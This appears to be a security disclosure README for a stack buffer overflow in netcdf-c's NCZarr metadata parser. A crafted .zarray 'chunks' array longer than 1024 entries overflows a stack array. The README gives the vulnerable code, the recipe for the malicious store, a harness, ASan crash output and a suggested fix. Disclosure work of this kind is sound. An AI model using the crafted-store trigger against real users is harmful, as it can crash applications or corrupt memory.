YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
netcdf-c: stack-based buffer overflow in NCZarr .zarray "chunks" JSON array decoder
libnczarr/zsync.c β decodeints() / define_var1()
Target
- Project: Unidata/netcdf-c
- Commit audited:
c91c55d8fbcd64837d0dbc2f494aed2e0455b391(HEAD ofmain, freshly cloned 2026-07-12; merge of PR #3403 "Merge 4.10.1 wellspring back into main branch", authored 2026-07-09) - Subsystem: NCZarr (Zarr v2) JSON metadata reader,
libnczarr/zsync.c - Entry point:
nc_open()/nc_open_mem()on any Zarr v2 / NCZarr dataset (also reachable vianetCDF4-python's Zarr/NCZarr backend,xarray, GDAL, and any other consumer of libnetcdf's publicnc_openAPI)
Root cause
define_var1() in libnczarr/zsync.c builds each variable's in-memory description from its .zarray JSON metadata file. For the "chunks" key it declares a fixed-size on-stack array:
/* libnczarr/zsync.c, ~line 1590 */
/* chunks */
{
size64_t chunks[NC_MAX_VAR_DIMS]; /* NC_MAX_VAR_DIMS == 1024, include/netcdf.h */
if((stat = NCJdictget(jvar,"chunks",&jvalue))<0) {stat = NC_EINVAL; goto done;}
if(jvalue != NULL && NCJsort(jvalue) != NCJ_ARRAY)
{stat = (THROW(NC_ENCZARR)); goto done;}
...
} else {/* !zvar->scalar */
if(zarr_rank == 0) {stat = NC_ENCZARR; goto done;}
var->storage = NC_CHUNKED;
if(var->ndims != rank)
{stat = (THROW(NC_ENCZARR)); goto done;}
if((var->chunksizes = malloc(sizeof(size_t)*(size_t)zarr_rank)) == NULL)
{stat = NC_ENOMEM; goto done;}
if((stat = decodeints(jvalue, chunks))) goto done; /* <-- overflow happens here */
...
}
}
decodeints() (same file, ~line 1966) is a generic JSON-array-to-size64_t[] copier with no bounds check against the destination buffer's capacity:
/* Convert a list of integer strings to 64 bit dimension sizes (shapes) */
static int
decodeints(const NCjson* jshape, size64_t* shapes)
{
int stat = NC_NOERR;
size_t i;
for(i=0;i<NCJarraylength(jshape);i++) {
struct ZCVT zcvt;
nc_type typeid = NC_NAT;
NCjson* jv = NCJith(jshape,i);
if((stat = NCZ_json2cvt(jv,&zcvt,&typeid))) goto done;
switch (typeid) {
case NC_INT64:
if(zcvt.int64v < 0) {stat = (THROW(NC_ENCZARR)); goto done;}
shapes[i] = (size64_t)zcvt.int64v;
break;
case NC_UINT64:
shapes[i] = (size64_t)zcvt.uint64v; /* no bounds/sign check at all */
break;
default: {stat = (THROW(NC_ENCZARR)); goto done;}
}
}
done:
return THROW(stat);
}
It writes exactly NCJarraylength(jshape) elements β i.e. exactly as many as the attacker's JSON "chunks" array contains β into shapes (here, the fixed 1024-slot stack array chunks). There is no check anywhere in define_var1() that the JSON "chunks" array length is <= NC_MAX_VAR_DIMS (or even equal to the variable's declared rank) before calling decodeints().
Notably, the sibling "shape" handling a few lines earlier in the same function does this correctly β it mallocs its destination buffer sized to the JSON array's own length (sizeof(size64_t)*(size_t)zarr_rank) before calling the identical decodeints() helper:
if((shapes = (size64_t*)malloc(sizeof(size64_t)*(size_t)zarr_rank)) == NULL)
{stat = (THROW(NC_ENOMEM)); goto done;}
if((stat = decodeints(jvalue, shapes))) goto done;
Only the "chunks" destination was left as an unchecked fixed-size stack buffer. Because the NC_UINT64 branch of decodeints() applies no bounds or sign check whatsoever, an attacker-supplied .zarray file with a "chunks" array longer than 1024 entries writes fully attacker-controlled 8-byte values past the end of the stack array, corrupting adjacent stack locals and eventually saved registers / the return address β a classic stack-based buffer overflow driven entirely by untrusted JSON content.
This is a distinct subsystem (the NCZarr/Zarr-v2 JSON metadata parser, libnczarr/zsync.c) and a distinct bug class (fixed-size stack buffer overflow from an unchecked JSON array length) from prior netcdf-c findings already in our backlog, which are heap allocation-size integer-overflow bugs in the classic/NC3 binary attribute-array parser (libsrc/attr.c, libsrc/v1hpg.c). We checked our existing huntr submissions for netcdf-c (huntr-poc-netcdf-attrarray-overflow, netcdf-c-attrarray-heap-overflow-poc, netcdf-c-attr-nelems-overflow-poc, huntr-poc-netcdf-nc3-getatt-oob-read) and none touch NCZarr/Zarr or this code path.
Build
cmake -DNETCDF_ENABLE_HDF5=OFF -DNETCDF_ENABLE_DAP=OFF \
-DNETCDF_ENABLE_NCZARR=ON -DNETCDF_ENABLE_S3=OFF \
-DBUILD_SHARED_LIBS=OFF \
-DCMAKE_C_COMPILER=clang -DCMAKE_C_FLAGS="-fsanitize=address -g -O0" \
..
make -j$(nproc) netcdf
Static libnetcdf.a linked against a minimal harness (harness.c, included) that calls the standard public nc_open() API on a Zarr "file" storage-mode store.
Proof of concept
A minimal on-disk Zarr v2 store (included in this repo under poc/zarrstore/):
zarrstore/.zgroupβ{"zarr_format": 2}zarrstore/v/.zattrsβ{"_ARRAY_DIMENSIONS": ["x"]}zarrstore/v/.zarrayβ"shape": [10](rank 1 β passes all rank/dimension consistency checks), but"chunks"contains 1030 integer entries (just 6 pastNC_MAX_VAR_DIMS= 1024) instead of the expected single entry. This is a single JSON-field edit fully within attacker control.
Harness (poc/harness.c) opens the store exactly the way any real consumer does:
snprintf(url, sizeof(url), "file://%s#mode=zarr,file", argv[1]);
int status = nc_open(url, NC_NOWRITE, &ncid);
Negative control
An otherwise-identical store (poc/zarrstore_neg/) with a correctly-sized "chunks": [1] opens and closes cleanly:
nc_open(file:///.../zarrstore_neg#mode=zarr,file) -> status=0 (No error)
OK, closed cleanly
Sanitizer-independent confirmation
A second PoC store with an even larger "chunks" array (4096 entries), run against a plain, non-ASan build (clang -g -O0 -fstack-protector-all, harness_plain), crashes with a raw SIGSEGV:
$ ./harness_plain <path-to-4096-entry-zarrstore>; echo exit=$?
exit=139
This confirms the bug is a genuine, sanitizer-independent memory-safety defect, not an ASan-only artifact.
Captured evidence (verbatim, ASan build)
=================================================================
==227866==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7b10c9b06130 at pc 0x558fb8e2f1cc bp 0x7ffc3ad829f0 sp 0x7ffc3ad829e8
WRITE of size 8 at 0x7b10c9b06130 thread T0
#0 0x558fb8e2f1cb in decodeints /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1983:16
#1 0x558fb8e2e003 in define_var1 /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1612:17
#2 0x558fb8e2b3e5 in define_vars /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1733:20
#3 0x558fb8e24546 in define_grp /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1170:16
#4 0x558fb8e23f44 in ncz_read_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1085:16
#5 0x558fb8e1f4cb in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:106:16
#6 0x558fb8e1f05a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184:16
#7 0x558fb8e0b7a8 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258:12
#8 0x558fb8e0ae44 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696:12
#9 0x558fb8e09e45 in main /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/../poc/harness.c:15:18
#10 0x7f10cb460f76 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x29f76) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
#11 0x7f10cb461026 in __libc_start_main (/usr/lib/x86_64-linux-gnu/libc.so.6+0x2a026) (BuildId: e0715e6b2fc508102cc2100d3d25a1aa4eb676f9)
#12 0x558fb8d20500 in _start (/home/kali/hunt-workspace/netcdf-audit-2026-07-12/poc/harness+0x4f500) (BuildId: a27b39a93989bf9dbe0ab36fd7c6cf8e40d8ca39)
Address 0x7b10c9b06130 is located in stack of thread T0 at offset 8496 in frame
#0 0x558fb8e2babf in define_var1 /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1384
This frame has 12 object(s):
[32, 40) 'var' (line 1391)
[64, 72) 'jncvar' (line 1395)
[96, 104) 'jdimrefs' (line 1396)
[128, 136) 'jvalue' (line 1397)
[160, 168) 'key' (line 1398)
[192, 196) 'vtype' (line 1403)
[208, 212) 'vtypelen' (line 1404)
[224, 228) 'version' (line 1451)
[240, 244) 'endianness' (line 1460)
[256, 264) 'fvlen' (line 1548)
[288, 292) 'atypeid' (line 1549)
[304, 8496) 'chunks' (line 1592) <== Memory access at offset 8496 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1983:16 in decodeints
==227866==ABORTING
Negative control (well-formed store):
nc_open(file:///.../zarrstore_neg#mode=zarr,file) -> status=0 (No error)
OK, closed cleanly
Non-ASan plain build, 4096-entry chunks PoC:
$ ./harness_plain <path-to-zarrstore>; echo exit=$?
exit=139 (raw SIGSEGV, no sanitizer involved)
Impact
Any application that opens an untrusted Zarr v2 / NCZarr dataset through netcdf-c's public nc_open()/nc_open_mem() API (ncdump, netCDF4-python's Zarr backend, xarray, GDAL, and other downstream consumers) is exposed to a stack-based buffer overflow driven purely by a crafted .zarray JSON metadata file β no other privileges required, and no size limit on the attacker-controlled "chunks" array is enforced before the fixed 1024-slot destination buffer is written. Because the overwritten values are arbitrary attacker-controlled 64-bit words (not just small integers, due to the unchecked NC_UINT64 branch), this has potential for stack memory corruption up to control-flow hijack, contingent on stack layout / mitigations (ASLR, stack canaries, etc.) at the target.
Suggested fix
Before calling decodeints(jvalue, chunks) for "chunks", validate NCJarraylength(jvalue) <= NC_MAX_VAR_DIMS (and ideally == zarr_rank), returning NC_ENCZARR otherwise β mirroring the rank check already performed for "shape", or simply allocate the "chunks" destination on the heap sized to zarr_rank exactly as "shape" already does a few lines above.
Files in this repository
poc/harness.cβ minimalnc_open()harness (ASan build)poc/zarrstore/β malicious store: rank-1 "shape"[10], 1030-entry "chunks" array (triggers overflow)poc/zarrstore_neg/β negative-control store: correctly-sized"chunks": [1](opens cleanly)poc/asan_report.txtβ verbatim captured ASan crash reportREADME.mdβ this file
Dedup note
No prior CVE or huntr report was found covering this NCZarr "chunks" stack-overflow path. Distinguished from our own prior netcdf-c backlog (huntr-poc-netcdf-attrarray-overflow, netcdf-c-attrarray-heap-overflow-poc, netcdf-c-attr-nelems-overflow-poc, huntr-poc-netcdf-nc3-getatt-oob-read), all of which are heap allocation-size integer-overflow bugs in the classic/NC3 binary attribute parser (libsrc/attr.c, libsrc/v1hpg.c) β a completely different subsystem, file, and bug class from this NCZarr JSON "chunks" stack overflow.